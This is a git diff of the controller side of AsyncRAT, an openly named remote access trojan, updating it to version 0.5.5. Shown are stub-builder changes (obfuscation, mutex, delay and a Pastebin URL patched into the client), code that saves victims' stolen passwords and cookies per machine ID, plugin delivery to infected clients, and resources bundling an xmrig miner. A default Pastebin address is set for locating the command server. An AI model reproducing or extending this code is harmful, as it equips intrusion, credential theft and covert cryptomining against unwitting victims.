this.btnAssembly = new System.Windows.Forms.CheckBox();
|
||||
this.txtFileVersion = new System.Windows.Forms.TextBox();
|
||||
this.txtProductVersion = new System.Windows.Forms.TextBox();
|
||||
@ -85,15 +88,15 @@ namespace Server.Forms
|
||||
this.chkIcon = new System.Windows.Forms.CheckBox();
|
||||
this.label15 = new System.Windows.Forms.Label();
|
||||
this.txtIcon = new System.Windows.Forms.TextBox();
|
||||
this.btnIcon = new System.Windows.Forms.Button();
|
||||
this.picIcon = new System.Windows.Forms.PictureBox();
|
||||
this.tabPage6 = new System.Windows.Forms.TabPage();
|
||||
this.chkObfu = new System.Windows.Forms.CheckBox();
|
||||
this.btnBuild = new System.Windows.Forms.Button();
|
||||
this.btnClone = new System.Windows.Forms.Button();
|
||||
this.btnIcon = new System.Windows.Forms.Button();
|
||||
this.groupBox1.SuspendLayout();
|
||||
this.groupBox2.SuspendLayout();
|
||||
this.groupBox3.SuspendLayout();
|
||||
((System.ComponentModel.ISupportInitialize)(this.numDelay)).BeginInit();
|
||||
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
|
||||
this.tabControl1.SuspendLayout();
|
||||
this.tabPage1.SuspendLayout();
|
||||
@ -323,6 +326,8 @@ namespace Server.Forms
|
||||
//
|
||||
// groupBox3
|
||||
//
|
||||
this.groupBox3.Controls.Add(this.numDelay);
|
||||
this.groupBox3.Controls.Add(this.label16);
|
||||
this.groupBox3.Controls.Add(this.pictureBox1);
|
||||
this.groupBox3.Controls.Add(this.chkBdos);
|
||||
this.groupBox3.Controls.Add(this.txtMutex);
|
||||
@ -335,6 +340,37 @@ namespace Server.Forms
|
||||
this.groupBox3.TabStop = false;
|
||||
this.groupBox3.Text = "MISC";
|
||||
//
|
||||
// numDelay
|
||||
//
|
||||
this.numDelay.Location = new System.Drawing.Point(19, 165);
|
||||
this.numDelay.Maximum = new decimal(new int[] {
|
||||
999,
|
||||
0,
|
||||
0,
|
||||
0});
|
||||
this.numDelay.Minimum = new decimal(new int[] {
|
||||
2,
|
||||
0,
|
||||
0,
|
||||
0});
|
||||
this.numDelay.Name = "numDelay";
|
||||
this.numDelay.Size = new System.Drawing.Size(84, 26);
|
||||
this.numDelay.TabIndex = 15;
|
||||
this.numDelay.Value = new decimal(new int[] {
|
||||
30,
|
||||
0,
|
||||
0,
|
||||
0});
|
||||
//
|
||||
// label16
|
||||
//
|
||||
this.label16.AutoSize = true;
|
||||
this.label16.Location = new System.Drawing.Point(15, 133);
|
||||
this.label16.Name = "label16";
|
||||
this.label16.Size = new System.Drawing.Size(123, 20);
|
||||
this.label16.TabIndex = 14;
|
||||
this.label16.Text = "Delay (seconds)";
|
||||
//
|
||||
// pictureBox1
|
||||
//
|
||||
this.pictureBox1.Image = global::Server.Properties.Resources.uac;
|
||||
@ -358,16 +394,16 @@ namespace Server.Forms
|
||||
// txtMutex
|
||||
//
|
||||
this.txtMutex.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Mutex", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtMutex.Location = new System.Drawing.Point(106, 165);
|
||||
this.txtMutex.Location = new System.Drawing.Point(19, 251);
|
||||
this.txtMutex.Name = "txtMutex";
|
||||
this.txtMutex.Size = new System.Drawing.Size(271, 26);
|
||||
this.txtMutex.Size = new System.Drawing.Size(301, 26);
|
||||
this.txtMutex.TabIndex = 11;
|
||||
this.txtMutex.Text = global::Server.Properties.Settings.Default.Mutex;
|
||||
//
|
||||
// label5
|
||||
//
|
||||
this.label5.AutoSize = true;
|
||||
this.label5.Location = new System.Drawing.Point(14, 169);
|
||||
this.label5.Location = new System.Drawing.Point(15, 219);
|
||||
this.label5.Name = "label5";
|
||||
this.label5.Size = new System.Drawing.Size(52, 20);
|
||||
this.label5.TabIndex = 10;
|
||||
@ -469,6 +505,17 @@ namespace Server.Forms
|
||||
this.groupBox4.TabStop = false;
|
||||
this.groupBox4.Text = "Assembly Information";
|
||||
//
|
||||
// btnClone
|
||||
//
|
||||
this.btnClone.Enabled = false;
|
||||
this.btnClone.Location = new System.Drawing.Point(453, 43);
|
||||
this.btnClone.Name = "btnClone";
|
||||
this.btnClone.Size = new System.Drawing.Size(103, 38);
|
||||
this.btnClone.TabIndex = 21;
|
||||
this.btnClone.Text = "Clone";
|
||||
this.btnClone.UseVisualStyleBackColor = true;
|
||||
this.btnClone.Click += new System.EventHandler(this.BtnClone_Click);
|
||||
//
|
||||
// btnAssembly
|
||||
//
|
||||
this.btnAssembly.AutoSize = true;
|
||||
@ -685,6 +732,17 @@ namespace Server.Forms
|
||||
this.txtIcon.Size = new System.Drawing.Size(447, 26);
|
||||
this.txtIcon.TabIndex = 6;
|
||||
//
|
||||
// btnIcon
|
||||
//
|
||||
this.btnIcon.Enabled = false;
|
||||
this.btnIcon.Location = new System.Drawing.Point(485, 122);
|
||||
this.btnIcon.Name = "btnIcon";
|
||||
this.btnIcon.Size = new System.Drawing.Size(60, 26);
|
||||
this.btnIcon.TabIndex = 5;
|
||||
this.btnIcon.Text = " ";
|
||||
this.btnIcon.UseVisualStyleBackColor = true;
|
||||
this.btnIcon.Click += new System.EventHandler(this.BtnIcon_Click);
|
||||
//
|
||||
// picIcon
|
||||
//
|
||||
this.picIcon.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
|
||||
@ -729,28 +787,6 @@ namespace Server.Forms
|
||||
this.btnBuild.UseVisualStyleBackColor = true;
|
||||
this.btnBuild.Click += new System.EventHandler(this.BtnBuild_Click);
|
||||
//
|
||||
// btnClone
|
||||
//
|
||||
this.btnClone.Enabled = false;
|
||||
this.btnClone.Location = new System.Drawing.Point(453, 43);
|
||||
this.btnClone.Name = "btnClone";
|
||||
this.btnClone.Size = new System.Drawing.Size(103, 38);
|
||||
this.btnClone.TabIndex = 21;
|
||||
this.btnClone.Text = "Clone";
|
||||
this.btnClone.UseVisualStyleBackColor = true;
|
||||
this.btnClone.Click += new System.EventHandler(this.BtnClone_Click);
|
||||
//
|
||||
// btnIcon
|
||||
//
|
||||
this.btnIcon.Enabled = false;
|
||||
this.btnIcon.Location = new System.Drawing.Point(485, 122);
|
||||
this.btnIcon.Name = "btnIcon";
|
||||
this.btnIcon.Size = new System.Drawing.Size(60, 26);
|
||||
this.btnIcon.TabIndex = 5;
|
||||
this.btnIcon.Text = " ";
|
||||
this.btnIcon.UseVisualStyleBackColor = true;
|
||||
this.btnIcon.Click += new System.EventHandler(this.BtnIcon_Click);
|
||||
//
|
||||
// FormBuilder
|
||||
//
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||
@ -768,6 +804,7 @@ namespace Server.Forms
|
||||
this.groupBox2.PerformLayout();
|
||||
this.groupBox3.ResumeLayout(false);
|
||||
this.groupBox3.PerformLayout();
|
||||
((System.ComponentModel.ISupportInitialize)(this.numDelay)).EndInit();
|
||||
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
|
||||
this.tabControl1.ResumeLayout(false);
|
||||
this.tabPage1.ResumeLayout(false);
|
||||
@ -848,5 +885,7 @@ namespace Server.Forms
|
||||
private System.Windows.Forms.CheckBox chkObfu;
|
||||
private System.Windows.Forms.Button btnClone;
|
||||
private System.Windows.Forms.Button btnIcon;
|
||||
private System.Windows.Forms.NumericUpDown numDelay;
|
||||
private System.Windows.Forms.Label label16;
|
||||
}
|
||||
}
|
||||
|
@ -365,7 +365,7 @@ namespace Server.Forms
|
||||
|
||||
foreach (TypeDef type in asmDef.Types)
|
||||
{
|
||||
if (type.Name == "Settings")
|
||||
if (type.Name == "Settings")
|
||||
foreach (MethodDef method in type.Methods)
|
||||
{
|
||||
if (method.Body == null) continue;
|
||||
@ -443,6 +443,9 @@ namespace Server.Forms
|
||||
method.Body.Instructions[i].Operand = aes.Encrypt(txtPastebin.Text);
|
||||
else
|
||||
method.Body.Instructions[i].Operand = aes.Encrypt("null");
|
||||
|
||||
if (method.Body.Instructions[i].Operand.ToString() == "%Delay%")
|
||||
method.Body.Instructions[i].Operand = numDelay.Value.ToString();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -56,7 +56,8 @@ namespace Server.Forms
|
||||
}
|
||||
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
|
||||
{
|
||||
MessageBox.Show(this, "If you want to use an updated version of AsyncRAT, remember to copy+paste your certificate", "Certificate", MessageBoxButtons.OK, MessageBoxIcon.Information);
|
||||
MessageBox.Show(this, @"[!]If you wish to upgrade to new version of AsyncRAT, You will need to copy this certificate
|
||||
[!]If you lose\delete this certificate you will NOT be able to control your clients, You will lose them all.", "Certificate", MessageBoxButtons.OK, MessageBoxIcon.Information);
|
||||
this.Close();
|
||||
}));
|
||||
}
|
||||
|
@ -67,7 +67,10 @@ namespace Server.Forms
|
||||
{
|
||||
try
|
||||
{
|
||||
Client?.Disconnected();
|
||||
ThreadPool.QueueUserWorkItem((o) =>
|
||||
{
|
||||
Client?.Disconnected();
|
||||
});
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
@ -26,7 +26,7 @@ namespace Server.Handle_Packet
|
||||
Directory.CreateDirectory(fullPath);
|
||||
File.WriteAllText(fullPath + "\\Password_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", pass.Replace("\n", Environment.NewLine));
|
||||
File.WriteAllText(fullPath + "\\Cookies_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", cookies);
|
||||
new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple);
|
||||
new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully @ ClientsFolder \\ {unpack_msgpack.ForcePathObject("Hwid").AsString} \\ Recovery", Color.Purple);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
@ -171,7 +171,7 @@ namespace Server.Handle_Packet
|
||||
|
||||
case "sendPlugin":
|
||||
{
|
||||
new HandleLogs().Addmsg($"Sending plugins to client {ip} please wait..", Color.Blue);
|
||||
new HandleLogs().Addmsg($"Sending the plugin to client {ip} for the first time please wait..", Color.Blue);
|
||||
ThreadPool.QueueUserWorkItem(delegate {
|
||||
client.SendPlugin(unpack_msgpack.ForcePathObject("Hashes").AsString);
|
||||
});
|
||||
@ -188,7 +188,6 @@ namespace Server.Handle_Packet
|
||||
}
|
||||
catch
|
||||
{
|
||||
client?.Disconnected();
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
@ -5,11 +5,11 @@ using System.Runtime.InteropServices;
|
||||
// General Information about an assembly is controlled through the following
|
||||
// set of attributes. Change these attribute values to modify the information
|
||||
// associated with an assembly.
|
||||
[assembly: AssemblyTitle("AsyncRAT-Sharp")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyTitle("AsyncRAT")]
|
||||
[assembly: AssemblyDescription("NYAN CAT")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("AsyncRAT-Sharp")]
|
||||
[assembly: AssemblyProduct("AsyncRAT")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2019")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
@ -20,7 +20,7 @@ using System.Runtime.InteropServices;
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
[assembly: Guid("7767c300-5fd5-4a5d-9d4c-59559cce48a3")]
|
||||
//[assembly: Guid("7767c300-5fd5-4a5d-9d4c-59559cce48a3")]
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
@ -32,5 +32,5 @@ using System.Runtime.InteropServices;
|
||||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("0.5.5.0")]
|
||||
[assembly: AssemblyFileVersion("0.5.5.0")]
|
||||
|
20
AsyncRAT-C#/Server/Properties/Resources.Designer.cs
generated
20
AsyncRAT-C#/Server/Properties/Resources.Designer.cs
generated
@ -220,6 +220,26 @@ namespace Server.Properties {
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Looks up a localized resource of type System.Drawing.Bitmap.
|
||||
/// </summary>
|
||||
internal static System.Drawing.Bitmap keyboard {
|
||||
get {
|
||||
object obj = ResourceManager.GetObject("keyboard", resourceCulture);
|
||||
return ((System.Drawing.Bitmap)(obj));
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Looks up a localized resource of type System.Drawing.Bitmap.
|
||||
/// </summary>
|
||||
internal static System.Drawing.Bitmap keyboard_on {
|
||||
get {
|
||||
object obj = ResourceManager.GetObject("keyboard-on", resourceCulture);
|
||||
return ((System.Drawing.Bitmap)(obj));
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Looks up a localized resource of type System.Drawing.Bitmap.
|
||||
/// </summary>
|
||||
|
@ -169,6 +169,9 @@
|
||||
<data name="mouse" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\mouse.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
<data name="_7z" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\7z.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="tomem1" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\tomem1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
@ -178,6 +181,9 @@
|
||||
<data name="uac" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\uac.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
<data name="process" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\process.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
<data name="pc" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\pc.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
@ -205,8 +211,8 @@
|
||||
<data name="extra" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\extra.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
<data name="xmrig" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\xmrig.bin;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
<data name="client" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\client.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
<data name="monitoring-system" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\monitoring-system.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
@ -214,17 +220,14 @@
|
||||
<data name="webcam" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\webcam.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
<data name="netstat" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\netstat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
<data name="tomem" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\tomem.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
<data name="ddos" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\ddos.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
<data name="process" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\process.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
<data name="netstat" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\netstat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
<data name="save-image2" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\save-image2.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
@ -235,19 +238,22 @@
|
||||
<data name="disabled" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\disabled.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
<data name="chat" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\chat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
<data name="client" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\client.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
<data name="server" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\server.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
<data name="_7z" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\7z.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
<data name="chat" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\chat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
<data name="xmrig" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\xmrig.bin;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="_7z1" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\7z.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="keyboard" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\keyboard.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
<data name="keyboard-on" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\keyboard-on.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
</root>
|
@ -12,7 +12,7 @@ namespace Server.Properties {
|
||||
|
||||
|
||||
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.2.0.0")]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.3.0.0")]
|
||||
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
|
||||
|
||||
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
|
||||
@ -73,7 +73,7 @@ namespace Server.Properties {
|
||||
|
||||
[global::System.Configuration.UserScopedSettingAttribute()]
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.Configuration.DefaultSettingValueAttribute("")]
|
||||
[global::System.Configuration.DefaultSettingValueAttribute("https://pastebin.com/raw/s14cUU5G")]
|
||||
public string Pastebin {
|
||||
get {
|
||||
return ((string)(this["Pastebin"]));
|
||||
|
@ -15,7 +15,7 @@
|
||||
<Value Profile="(Default)" />
|
||||
</Setting>
|
||||
<Setting Name="Pastebin" Type="System.String" Scope="User">
|
||||
<Value Profile="(Default)" />
|
||||
<Value Profile="(Default)">https://pastebin.com/raw/s14cUU5G</Value>
|
||||
</Setting>
|
||||
<Setting Name="IP" Type="System.String" Scope="User">
|
||||
<Value Profile="(Default)" />
|
||||
|
Binary file not shown.
@ -12,12 +12,14 @@ namespace Server
|
||||
public static List<string> Blocked = new List<string>();
|
||||
public static object LockBlocked = new object();
|
||||
|
||||
public static long Sent { get; set; }
|
||||
public static long Received { get; set; }
|
||||
public static long SentValue { get; set; }
|
||||
public static long ReceivedValue { get; set; }
|
||||
public static object LockReceivedSendValue = new object();
|
||||
|
||||
|
||||
public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12";
|
||||
public static X509Certificate2 ServerCertificate;
|
||||
public static readonly string Version = "AsyncRAT 0.5.4H";
|
||||
public static readonly string Version = "AsyncRAT 0.5.5A";
|
||||
public static object LockListviewClients = new object();
|
||||
public static object LockListviewLogs = new object();
|
||||
public static object LockListviewThumb = new object();
|
||||
|
Loading…
x
Reference in New Issue
Block a user